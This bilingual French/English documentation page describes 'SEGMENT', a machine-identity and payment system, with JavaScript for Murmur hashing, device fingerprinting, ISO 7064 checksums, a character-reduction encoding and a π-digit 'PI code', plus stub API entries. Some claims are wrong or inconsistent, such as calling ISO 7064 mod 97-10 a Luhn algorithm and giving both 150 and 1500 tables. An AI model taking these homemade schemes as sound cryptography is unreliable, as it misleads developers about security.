The security protocol allows only ONE TRIAL: if the SHA returned by the pseudo-Alice is incorrect, the SEGmaster resets ALL ID DATA of the falsified machine, which then loses its identifiers, wallets and blockchain shards.

II. CRYPTOGRAPHIE
Murmur

II. CRYPTOGRAPHY
Murmur

Murmur est une fonction de hashage permettant de réduire une chaine de caractères à une suite de nombres, lesquels seront ensuite encryptés ou protégés selon diverses méthodes (Trytes, ISO, Réduction...).
Murmur is a hash function that reduces a string of characters to a series of numbers, which will then be encrypted or protected using various methods (Trytes, ISO, Reduction...).

Dans SEGMENT, Murmur sert à convertir des données techniques concernant la machine (OS, version, fonts, langages, carte graphique, navigateur, etc) en 4 séries de nombres stockés sous forme encryptée.
Ces 4 séries font partie de l'ID de la machine : les SEGmasters utilisent certaines d'entre elles pour créer le SHA destiné à confimer l'identité d'une machine transactante.
In SEGMENT, Murmur is used to convert technical datas of the machine (OS, version, fonts, languages, graphic card, browser...) into 4 series of numbers stored in encrypted form.
These 4 series are part of the machine ID: SEGmasters use some of them to create the SHA to confirm the identity of a transacting machine.

var str = 'STRING'; let seed = 'NUMBER'; var result = murmurhash(str,seed);

Murmur est très simple à mettre en oeuvre : il suffir d'entrer une STR et une valeur chiffrée de SEED. Murmur is very simple to implement: just enter an STR and a SEED number.

function murmurhash(key, seed) { var remainder, bytes, h1, h1b, c1, c1b, c2, c2b, k1, i; remainder = key.length & 3; // key.length % 4 bytes = key.length - remainder; h1 = seed; c1 = 0xcc9e2d51; c2 = 0x1b873593; i = 0; while (i < bytes) { k1 = ((key.charCodeAt(i) & 0xff)) | ((key.charCodeAt(++i) & 0xff) << 8) | ((key.charCodeAt(++i) & 0xff) << 16) | ((key.charCodeAt(++i) & 0xff) << 24); ++i; k1 = ((((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16))) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = ((((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16))) & 0xffffffff; h1 ^= k1; h1 = (h1 << 13) | (h1 >>> 19); h1b = ((((h1 & 0xffff) * 5) + ((((h1 >>> 16) * 5) & 0xffff) << 16))) & 0xffffffff; h1 = (((h1b & 0xffff) + 0x6b64) + ((((h1b >>> 16) + 0xe654) & 0xffff) << 16)); } k1 = 0; switch (remainder) { case 3: k1 ^= (key.charCodeAt(i + 2) & 0xff) << 16; case 2: k1 ^= (key.charCodeAt(i + 1) & 0xff) << 8; case 1: k1 ^= (key.charCodeAt(i) & 0xff); k1 = (((k1 & 0xffff) * c1) + ((((k1 >>> 16) * c1) & 0xffff) << 16)) & 0xffffffff; k1 = (k1 << 15) | (k1 >>> 17); k1 = (((k1 & 0xffff) * c2) + ((((k1 >>> 16) * c2) & 0xffff) << 16)) & 0xffffffff; h1 ^= k1; } h1 ^= key.length; h1 ^= h1 >>> 16; h1 = (((h1 & 0xffff) * 0x85ebca6b) + ((((h1 >>> 16) * 0x85ebca6b) & 0xffff) << 16)) & 0xffffffff; h1 ^= h1 >>> 13; h1 = ((((h1 & 0xffff) * 0xc2b2ae35) + ((((h1 >>> 16) * 0xc2b2ae35) & 0xffff) << 16))) & 0xffffffff; h1 ^= h1 >>> 16; return h1 >>> 0; }
Murmur n'est PAS un outil de cryptographie au sens où il est susceptible de créer des collisions : deux jeux de données différentes peuvent produire le même résultat final.
L'usage restreint qu'en fait SEGMENT sur des données très précises est toutefois suffisant en terme de fiabilité.
Murmur is NOT a cryptographic tool; it is likely to create collisions: two different datasets can produce the same result. The limited use that SEGMENT makes of Murmur for very precise data is however sufficient in terms of reliability.

Utilisation

Les valeurs techniques collectées étant soumises à modifications potentielles au cours du temps (mise-à-jour, changement d'écran, ajout de fonts, etc.), les 4 séries créées sont construites en conséquence :
• la première série contient par exemple l'OS (mais sans sa version) ou encore si la machine est un mobile ou pas,
• la seconde contient des données changeant rarement (par exemple la version du système, du processeur ou le modèle de carte graphique),
• la troisième contient des données moyennement stables (taille d'écran, modes de connectivité possibles)
• la quatrième contient des données instables (versions de navigateurs, fonts).

Lors des requêtes, si l'une de ces données n'est pas conforme avec celles attendues le système procède en mode décroissant :
• si les trois premières sont correctes et si la quatrième est fausse, l'indice de fiabilité est de 95%
• si les deux premières sont correctes mais la troisième et la quatrième sont fausses, l'indice de fiabilité descend à 75%
• si seule la première est correcte, l'indice de fiabilité chute à 50%
Ce pourcentage de fiabilité technique est comparé et pondéré par d'autres analyses (POI par exemple) pour garantir l'ID d'une machine.
The technical values collected being subject to potential modifications over the time (updates, screen changes, addition of fonts, etc.), the 4 series created are constructed accordingly:
• the first series contains for example the OS (but without its version) or if the machine is a mobile or not,
• the second contains data that rarely changes (e. g. system version, processor version or graphics card model),
• the third contains moderately stable data (screen size, possible connectivity modes)
• the fourth contains unstable data (browser versions, fonts).

During queries, if one of these data does not comply with those expected, the system proceeds in descending mode:
• if the first three are correct and the fourth is false, the reliability index is 95%
• if the first two are correct but the third and fourth are false, the reliability index drops to 75%
• if only the first one is correct, the reliability index drops to 50%
This percentage of technical reliability is compared and weighted by other analyses (e. g. POI) to ensure the ID of a machine.

HakJak No-Hack

Pour tenter d'usurper l'identité d'une autre machine, un hacker malveillant doit impérativement produire strictement les mêmes données techniques que la machine-cible à partir de la sienne.
Pour cette raison, la production de ces données techniques (quoi, dans quel ordre, sous quelle forme) à l'inscription est protégée.
To attempt to steal the identity of another machine, a malicious hacker must produce strictly the same technical data as the target machine.
For this reason, the production of these technical datas (what, in what order, in what form) at registration is protected.

II. CRYPTOGRAPHIE
ISO 7064

II. CRYPTOGRAPHY
ISO 7064

Les protocoles ISO 7064 et 13616 sont utilisés dans le domaine bancaire pour contrôler la validité/intégrité de séries fixes de numéros (IBAN, CB...). Dans SEGMENT il est utilisé pour contrôler certaines parties de l'ID des machines dans le cadre du POI (Preuve d'identité).
The ISO 7064/13616 protocols are used in the banking sector to control the validity/integrity of fixed number ranges (IBAN, Credit Cards...). In SEGMENT it is used to control parts of the machine ID in the POI (Proof of Identity) process.

Fondé sur l'algorithme de Luhn - appelé également modulo 97,10 - ce script part d'une valeur de 2x5 chiffres (12345+67890) et calcule deux clés de contrôle (checksum) produites par la fonction mod(98 - mod(number * 100, 97), 97) qui permettent de vérifier l'intégrité de la donnée à évaluer.
L'ID est valide si elle satisfait à sa condition algorithmique : chaque résultat doit être égal à 1.
Based on the Luhn algorithm - also called modulo 97,10 - this script starts from two 5-digits value (12345+67890) and calculates 2 checksums (function mod(98 - mod(number * 100, 97), 97)) to verify the integrity of the data to be evaluated.
The ID is valid if it satisfies its algorithmic condition: each result must be equal to 1.

Production

let cut = datas.toString().match(/.{1,5}/g); let cod_1 = cut[0]; // 12345 let cod_2 = cut[1]; // 67890
// checksum sur 2 chiffres // get the 2 digits checksum let mod_1 = mod(cod_1 * 100, 97); let key_1 = mod(98 - mod_1, 97); if ( key_1 <= 9) key_1 = '0'+key_1; let mod_2 = mod(cod_2 * 100, 97); let key_2 = mod(98 - mod_2, 97); if ( key_2 <= 9) key_2 = '0'+key_2;
function mod(a,b) { return a%b; }

Contrôle

Control

let check_1 = ''+cod_1+key_1; let check_2 = ''+cod_2+key_2;
// le résultat pour chaque valeur doit être == 1 // the result of the calculation of each value must be == 1 let verif_1 = mod(check_1, 97); let verif_2 = mod(check_2, 97);

HakJak No-Hack

Dans SEGMENT, l'ID et son POI "ISO" sont encryptés différemment sur les machines de façon à ne jamais pouvoir déduire l'un de l'autre.
In SEGMENT, the ID and its "ISO" POI are encrypted differently on the machines: they never can be deduced from each other.

II. CRYPTOGRAPHIE
Réduction

II. CRYPTOGRAPHY
Reduction

Cet usage crypto est uniquement destiné à diminuer le volume de transmission de données longues en les réduisant de moitié.
This crypto use is only intended to reduce the transmission volume of long datas by half.

Certaines longues séries de données chiffrées sont "réduites" en 1 seul signe par groupes de 2 selon une clé allant de 1 à 8.
Exemple : la série 1234567890 découpée en [12] [34] [56] [78] [90] donnera la séquence Mi4Õç en clé 1.
Selon l'anamorphose produite, cette séquence transitera par exemple sous la forme ä8ç!b sur le réseau.
Some long series of numerical data are "reduced" to 1 sign in groups of 2 according to a key ranging from 1 to 8.
Example: the datas 1234567890 once cutted into [12][34][56][56][78][90] will give the sequence Mi4Õç using the key 1.
Depending on the anamorphosis produced, this sequence will pass through the network, for example, in the form of ä8ç!b.

let cut = datas.toString().match(/.{1,2}/g); for(i=0, j=cut.length; i<j; i++) { // utilise la clé 1 // use key 1 val2code(cut[i],1); }

La valeur datas est découpée en groupes de deux signes. Chaque groupe est ensuite "réduit" selon la clé 1. The value datas is divided into groups of two signs. Each group is then "reduced" according to key 1.

La valeur initiale se récupère en inversant simplement la fonction selon la même clé : val2code(val,key)code2val(val,key) : The initial value is recovered by simply inverting the function according to the same key: val2code(val,key)code2val(val,key) :

code2val(decrypt[i],1);

Script JS

function val2code(val,key) { val = parseInt(val); key = parseInt(key); let crypt = ''; if (key == 1) { // ----> 00=A 26=a 52=0 62=À if (val <= 25) { crypt = String.fromCharCode( val+65 ); } else if (val >= 26 && val <= 51) { crypt = String.fromCharCode( val+71 ); } else if (val >= 52 && val <= 61) { crypt = val-52; } else if (val >= 62) { crypt = tab_sign[val-62]; } } ... return crypt; } tab_sign = ["À","Á","Â","Ã","Ä","Å","Æ","Ç", ... ,"à","á","â","ã","ä","æ","ç", ...];
Cette technique de cryptage n'offre aucune garantie de sécurité : elle ne sert qu'à accélérer l'échange de données. Celles-ci sont protégées par une surcouche anamorphique.
This encryption method offers no guarantee of security: it only serves to speed up the exchange of datas. They are protected by an anamorphic overlayer.

II. CRYPTOGRAPHIE
Décimales de PI

II. CRYPTOGRAPHY
PI Decimals

Cette fonction cryptographique - basée sur 1.5 million de décimales de π - sert à générer des encodages raccourcis pour vérifier la véracité/réalité d'une data passée par une machine :
→ Alice prétend avoir la POS 123456 ou le NUM 456789. Elle va passer de façon discrète 2 signes cryptos qui "résument" sa POS ou son NUM.
→ la machine qui voudra s'en assurer computera le POS ou le NUM de Alice et devra obtenir les deux mêmes signes.
This cryptographic function - based on 1.5 million π decimals - is used to generate shortened encodings to verify the veracity/reality of a data passed by a machine:
→ Alice claims to have POS 123456 or NUM 456789. She will discreetly pass 2 cryptographic signs that "summarize" her POS or NUM.
→ the machine that wants to make sure will calculate Alice's POS or NUM "PI Code" and should get the same two signs.

A l'heure actuelle les décimales de π représentent une suite pseudo-aléatoire (nombre mathématique irrationnel) de plus de 26 milliards de chiffres. SEGMENT n'en utilise que 1,5 million.
Le jeu algorithmique consiste à retrouver la position d'une séquence de 6 chiffres (POS ou NUM) dans cette suite. Par exemple, la série "932384" est en 13ème position après la virgule.
Les décimales sont tableautées par 1000 unités : toute série de 6 chiffres apparaissant dans une des 150 tables (1.5 million/1000) prendra donc comme valeur sa position dans cette table, laquelle valeur ira par conséquent de 000 à 994 (les 6 derniers chiffres de chaque table sont à la position 994).
Si un nombre de 6 chiffres est introuvable, on le permute ("123456" devient "465123") puis on relance la recherche jusqu'à le retrouver. Si il n'existe pas dans les décimales on lui affecte la valeur 999 par défaut (4.8% des cas sur 10000 tests).
At present, π decimals represent a pseudo-random sequence (irrational mathematical number) of more than 26 billion digits. SEGMENT only uses 1.5 million of them. The algorithmic game consists in finding the position of a 6-digit sequence (POS or NUM) in this sequence. For example, the series "932384" is in 13th position after the comma.
The decimals are displayed per 1000 units: any series of 6 digits appearing in one of the 150 tables (1.5 million/1000) will therefore take as value its position in this table, which value will go from 000 to 994 (the last 6 digits of each table are at position 994).
If a number of 6 digits is not found, it is swapped ("123456" becomes "465123") then the search is restarted until it is found. If it does not exist in the decimal places, it is assigned the default value 999 (4.8% of cases out of 10,000 tests).
3 , 1 4 1 5 9 2 6 5 3 5 8 9 7  9 3 2 3 8 4  6 2 6 4 3 3 8 3 2 7 9 5 0 2 8 8 4 1 9 7 1 6 9 3 9 9 3 7 5 1 0 5 8 2 0 9 7 4 9 4 4 5 9 2 3 0 7 8 1 6 4 0 6 2 8 6 2 0 8 9 9 8 6 2 8 0 3 4 8 2 5 3 4 2 1 1 7 0 6 7 9 8 2 1 4 8 0 8 6 5 1 3 2 8 2 3 0 6 6 4 7 0 9 3 8 4 4 6 0 9 5 5 0 5 8 2 2 3 1 7 2 5 3 5 9 4 0 8 1 2 8 4 8 1 1 1 7 4 5 0 2 8 4 1 0 2 7 0 1 9 3 8 5 2 1 1 0 5 5 5 9 6 4 4 6 2 2 9 4 8 9 5 4 9 3 0 3 8 1 9 6 4 4 2 8 8 1 0 9 7 5 6 6 5 9 3 3 4 4 6 1 2 8 4 7 5 6 4 8 2 3 3 7 8 6 7 8 3 1 6 5 2 7 1 2 0 1 9 0 9 1 4 5 6 4 8 5 6 6 9 2 3 4 6 0 3 4 8 6 1 0 4 5 4 3 2 6 6 4 8 2 1 3 3 9 3 6 0 7 2 6 0 2 4 9 1 4 1 2 7 3 7 2 4 5 8 7 0 0 6 6 0 6 3 1 5 5 8 8 1 7 4 8 8 1 5 2 0 9 2 0 9 6 2 8 2 9 2 5 4 0 9 1 7 1 5 3 6 4 3 6 7 8 9 2 5 9 0 3 6 0 0 1 1 3 3 0 5 3 0 5 4 8 8 2 0 4 6 6 5 2 1 3 8 4 1 4 6 9 5 1 9 4 1 5 1 1 6 0 9 4 3 3 0 5 7 2 7 0 3 6 5 7 5 9 5 9 1 9 5 3 0 9 2 1 8 6 1 1 7 3 8 1 9 3 2 6 1 1 7 9 3 1 0 5 1 1 8 5 4 8 0 7 4 4 6 2 3 7 9 9 6 2 7 4 9 5 6 7 3 5 1 8 8 5 7 5 2 7 2 4 8 9 1 2 2 7 9 3 8 1 8 3 0 1 1 9 4 9 1 2 9 8 3 3 6 7 3 3 6 2 4 4 0 6 5 6 6 4 3 0 8 6 0 2 1 3 . . .

Une fois la valeur trouvée ("228972" est en 687ème position dans la table [4660->4679]) on la multiplie par 10 ("687" devient "6870") dont on tire deux clés : "68" et "70". Le 68ème signe de la str ALPHA (100 signes clavier) est Ê et le 70ème est Î. Le "code PI" de 228972 est donc ÊÎ.
Si Alice passe cette valeur ÊÎ en même temps que sa POS 228972, la corrélation positive entre les deux est établie en moins de 0.01 seconde.
3 , 1 4 1 5 9 2 6 5 3 5 8 9 7  9 3 2 3 8 4  6 2 6 4 3 3 8 3 2 7 9 5 0 2 8 8 4 1 9 7 1 6 9 3 9 9 3 7 5 1 0 5 8 2 0 9 7 4 9 4 4 5 9 2 3 0 7 8 1 6 4 0 6 2 8 6 2 0 8 9 9 8 6 2 8 0 3 4 8 2 5 3 4 2 1 1 7 0 6 7 9 8 2 1 4 8 0 8 6 5 1 3 2 8 2 3 0 6 6 4 7 0 9 3 8 4 4 6 0 9 5 5 0 5 8 2 2 3 1 7 2 5 3 5 9 4 0 8 1 2 8 4 8 1 1 1 7 4 5 0 2 8 4 1 0 2 7 0 1 9 3 8 5 2 1 1 0 5 5 5 9 6 4 4 6 2 2 9 4 8 9 5 4 9 3 0 3 8 1 9 6 4 4 2 8 8 1 0 9 7 5 6 6 5 9 3 3 4 4 6 1 2 8 4 7 5 6 4 8 2 3 3 7 8 6 7 8 3 1 6 5 2 7 1 2 0 1 9 0 9 1 4 5 6 4 8 5 6 6 9 2 3 4 6 0 3 4 8 6 1 0 4 5 4 3 2 6 6 4 8 2 1 3 3 9 3 6 0 7 2 6 0 2 4 9 1 4 1 2 7 3 7 2 4 5 8 7 0 0 6 6 0 6 3 1 5 5 8 8 1 7 4 8 8 1 5 2 0 9 2 0 9 6 2 8 2 9 2 5 4 0 9 1 7 1 5 3 6 4 3 6 7 8 9 2 5 9 0 3 6 0 0 1 1 3 3 0 5 3 0 5 4 8 8 2 0 4 6 6 5 2 1 3 8 4 1 4 6 9 5 1 9 4 1 5 1 1 6 0 9 4 3 3 0 5 7 2 7 0 3 6 5 7 5 9 5 9 1 9 5 3 0 9 2 1 8 6 1 1 7 3 8 1 9 3 2 6 1 1 7 9 3 1 0 5 1 1 8 5 4 8 0 7 4 4 6 2 3 7 9 9 6 2 7 4 9 5 6 7 3 5 1 8 8 5 7 5 2 7 2 4 8 9 1 2 2 7 9 3 8 1 8 3 0 1 1 9 4 9 1 2 9 8 3 3 6 7 3 3 6 2 4 4 0 6 5 6 6 4 3 0 8 6 0 2 1 3 . . .

Once the value has been found ("228972" is in 687th position in the table[4660->4679]) it is multiplied by 10 ("687" becomes "6870") from which two keys are drawn: "68" and "70". The 68th sign of the ALPHA str (100 keyboard signs) is Ê and the 70th sign is Î. The "PI code" of 228972 is therefore ÊÎ.
If Alice passes this value ÊÎ at the same time as her POS 228972, the positive correlation between the two is established in less than 0.01 second.

Calculer PI

Obtain PI

On peut trouver sur le web de nombreuses API permettant d'obtenir PI et ses décimales.
→ stackoverflow.com/questions/30747235/javascript-pi-%CF%80-calculator
There are many APIs on the web that can be used to obtain PI and its decimals.
→ stackoverflow.com/questions/30747235/javascript-pi-%CF%80-calculator

Code en version simplifiée

Simplified version

const ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ÀÂÄÇÉÈÊËÎÏÖÔÙÛÜàâäçéèêëîïôöùûü#@'?_-.,"; const PI = [ ["14159265358979323846264338327950288419716939937510"], ["58209749445923078164062862089986280348253421170679"], ["82148086513282306647093844609550582231725359408128"], ["48111745028410270193852110555964462294895493038196"], ["44288109756659334461284756482337867831652712019091"], ["45648566923460348610454326648213393607260249141273"], ["72458700660631558817488152092096282925409171536436"], ["78925903600113305305488204665213841469519415116094"], ["33057270365759591953092186117381932611793105118548"], ... ]
let tabPI = ''; for(i=0; i<20; i++) { tabPI += PI[i]; }
function findInPI(){ let NUM = 932384 let inPI = tabPI.toString().search(NUM); if(inPI > -1) { // 13 if(inPI < 10) inPI = '00'+inPI; if(inPI >= 10 && inPI < 100) inPI = '0'+inPI; // 013 let VAL = calculeVal(inPI); // 932384 -> 0130 -> Be } }
function calculeVal(v){ v = v.toString()+'0'; let val = v.match(/.{1,2}/g); let val1 = ALPHA[parseInt(val[0])]; let val2 = ALPHA[parseInt(val[1])]; return val1+val2; }

Le "code PI" est rétro-ingéniérable puisqu'il suffit de trouver la position de chaque signe dans ALPHA pour retourner la position de POS/NUM dans une des tables.
On ne peut toutefois jamais savoir de quelle table il s'agit (1500 possibles) ni si il a été retourné ou pas, ce qui porte les possibles à 3000.
The "PI code" is retro-ingenerable since it is enough to find the position of each sign in ALPHA to return the position of POS/NUM in one of the tables.
However, we can never know which table it is (1500 possible) or if it has been returned or not, which brings the possible to 3000.

// code = Be let cod1 = ALPHA.search(code[0]); // B=01 let cod2 = ALPHA.search(code[1]); // e=30 let result = cod1+''+(cod2/10); // 013
Cette technique n'offre aucune garantie de sécurité/fiabilité à cause de ses inévitables collisions, elle ne sert qu'à accélérer l'échange de données en réduisant le volume de 66% : 6 chiffres → 2 signes
Elle fonctionne comme une "image" (pseudo-hash) : toute valeur réelle sur 6 chiffres (POS, NUM...) doit impérativement donner le même résultat pour être reconnue comme potentiellement vraie.
This technique offers no guarantee of safety/reliability because of its unavoidable collisions, it only serves to accelerate data exchange by reducing the volume by 66%: 6 digits → 2 signs
It works like a "image" (pseudo-hash): any real value on 6 digits (POS, NUM...) must give the same result to be recognized as potentially true.

Le "code PI" dans SEGMENT sert par exemple à confirmer la véracité de l'horodatage d'un bloc de données :
dans le bloc décrypté ALICE | 1554102191137eç | euros | 500, 191137 (les 6 derniers chiffres du timestamp) vaut : 30+80 → 308e position de la table [9840-9859]). C'est un simple contrôle de sécurité supplémentaire.
The "PI code" in SEGMENT is used for example to confirm the veracity of the timestamping of a data block:
in the decrypted block ALICE | 1554102191137eç | US$ | 500, 191137 (the last 6 digits of the timestamp) is : 30+80 → 308th position in table [9840-9859]). This is a simple additional security check.

III. API FONCTIONS DE BASE

SEGMENT.whois()

III. API BASIC FUNCTIONS

SEGMENT.whois()

Obtenir les données publiques : SEGMENT.whois('Alice').
→ Documentation en cours
Get public data: SEGMENT.whois('Alice').
→ Ongoing documentation

SEGMENT.pay()

Permet d'initier une transaction : SEGMENT.pay('Alice','Bob',100,'token').
→ Documentation en cours
Allows to initiate a transaction: SEGMENT.pay('Alice','Bob',100,'token').
→ Ongoing documentation

SEGMENT.action()

Permet de faire réaliser à une machine une action autre que transactionnelle : SEGMENT.action('Drone','MOVE',lat,lon).
→ Documentation en cours
Allows a machine to perform an action other than transactional: SEGMENT.action('Drone','MOVE',lat,lon).
→ Ongoing documentation

SEGMENT.history()

Permet de consulter l'historique des transactions : SEGMENT.history('Alice',POI).
→ Documentation en cours
Allows to consult transactions history: SEGMENT.history('Alice',POI).
→ Ongoing documentation

SEGMENT.delete()

Permet de supprimer définitivement de SEGMENT une machine et toutes les données la concernant : SEGMENT.delete('Alice',POI).
→ Documentation en cours
Allows to permanently delete from SEGMENT a machine and all its data: SEGMENT.delete('Alice',POI).
→ Ongoing documentation

III. API FONCTIONS AVANCEES

SEGMENT.change()

III. API ADVANCED FUNCTIONS

SEGMENT.change()

Permet de changer de machine (remplacement) : SEGMENT.change('Alice',poi_A).
→ Documentation en cours
Allows to change the machine (replace): SEGMENT.change('Alice',poi_A).
→ Ongoing documentation

SEGMENT.mute()

Permet de modifier ses datas machine (ID, POI, TPN) en cas d'update : SEGMENT.mute('Alice',poi_A).
→ Documentation en cours
Allows to modify machine data (IO, POI, TPN) in case of uppate: SEGMENT.mute('Alice',poi_A).
→ Ongoing documentation

SEGMENT.clone()

Permet de cloner deux machines (ID et wallets identiques) : SEGMENT.clone('Alice',poi_A,'Bob',poi_B).
→ Documentation en cours
Allows to clone 2 machines (same ID and wallets): SEGMENT.clone('Alice',poi_A,'Bob',poi_B).
→ Ongoing documentation

SEGMENT.group()

Permet de grouper des machines en GOA (ID et wallets partagés) : SEGMENT.group('Alice',poi_A,'Bob',poi_B,'NewGroupName').
→ Documentation en cours
Allows to group machines in GOA (shared ID and wallets): SEGMENT.group('Alice',poi_A,'Bob',poi_B,'NewGroupName').
→ Ongoing documentation

SEGMENT.ungroup()

Permet de dégrouper une machine du GOA (ID et wallets à séparer) : SEGMENT.ungroup('GOA',poi_G,'Alice',poi_A, [args] ).
→ Documentation en cours
Allows to ungroup machine from GOA (separate ID and wallets): SEGMENT.ungroup('GOA',poi_G,'Alice',poi_A, [args] ).
→ Ongoing documentation

III. API FONCTIONS CONTRAT

SEGMENT.create()

III. API CONTRACT FUNCTIONS

SEGMENT.create()

Permet de créer un smart-contact JS : SEGMENT.create('Alice',POI).
→ Documentation en cours
Allows to create a smart-contact JS: SEGMENT.create().
→ Ongoing documentation

SEGMENT.eval()

Permet de tester un smart-contact JS avant exécution : SEGMENT.eval( [NUM Contrat] ).
→ Documentation en cours
Allows to test a smart-contact JS before execution: SEGMENT.eval( [NUM Contract] ).
→ Ongoing documentation

SEGMENT.contract()

Permet d'invoquer des smart-contacts JS dans les process de transactions : SEGMENT.contract( [NUM Contrat] ).
→ Documentation en cours
Allows to invoke JS smart-contacts in transaction processes: SEGMENT.contract( [NUM Contract] ).
→ Ongoing documentation